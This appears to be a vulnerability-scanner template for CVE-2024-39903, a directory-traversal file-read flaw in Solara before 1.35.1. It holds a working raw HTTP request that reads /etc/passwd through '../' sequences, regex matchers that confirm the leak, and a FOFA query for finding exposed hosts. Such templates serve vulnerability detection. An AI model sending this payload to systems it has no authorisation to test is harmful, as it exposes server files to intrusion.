id: CVE-2024-39903

info:
  name: Solara <1.35.1 - Local File Inclusion
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    A Local File Inclusion (LFI) vulnerability was identified in widgetti/solara, in version <1.35.1, which was fixed in version 1.35.1. This vulnerability arises from the application's failure to properly validate URI fragments for directory traversal sequences such as '../' when serving static files. An attacker can exploit this flaw by manipulating the fragment part of the URI to read arbitrary files on the local file system.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39903
    - https://github.com/widgetti/solara/commit/df2fd66a7f4e8ffd36e8678697a8a4f76760dc54
    - https://github.com/widgetti/solara/security/advisories/GHSA-9794-pc4r-438w
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2024-39903
    cwe-id: CWE-22
    epss-score: 0.00044
    epss-percentile: 0.109
  metadata:
    fofa-query: icon_hash="-223126228"
    verified: true
    max-request: 1
  tags: cve,cve2024,solara,lfi

http:
  - raw:
      - |+
        GET /static/nbextensions/#/../../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    unsafe: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: regex
        part: content_type
        regex:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 490a0046304402206fbe41b0f3c4c504fac67e6d9c3da550df41adacc14b16ceb6cb4c96061ee80e022025732838ebf0209d12087d9950a8c67fab8cfa5ff2ef20bbda302eebea8ca375:922c64590222798bb761d5b6d8e72950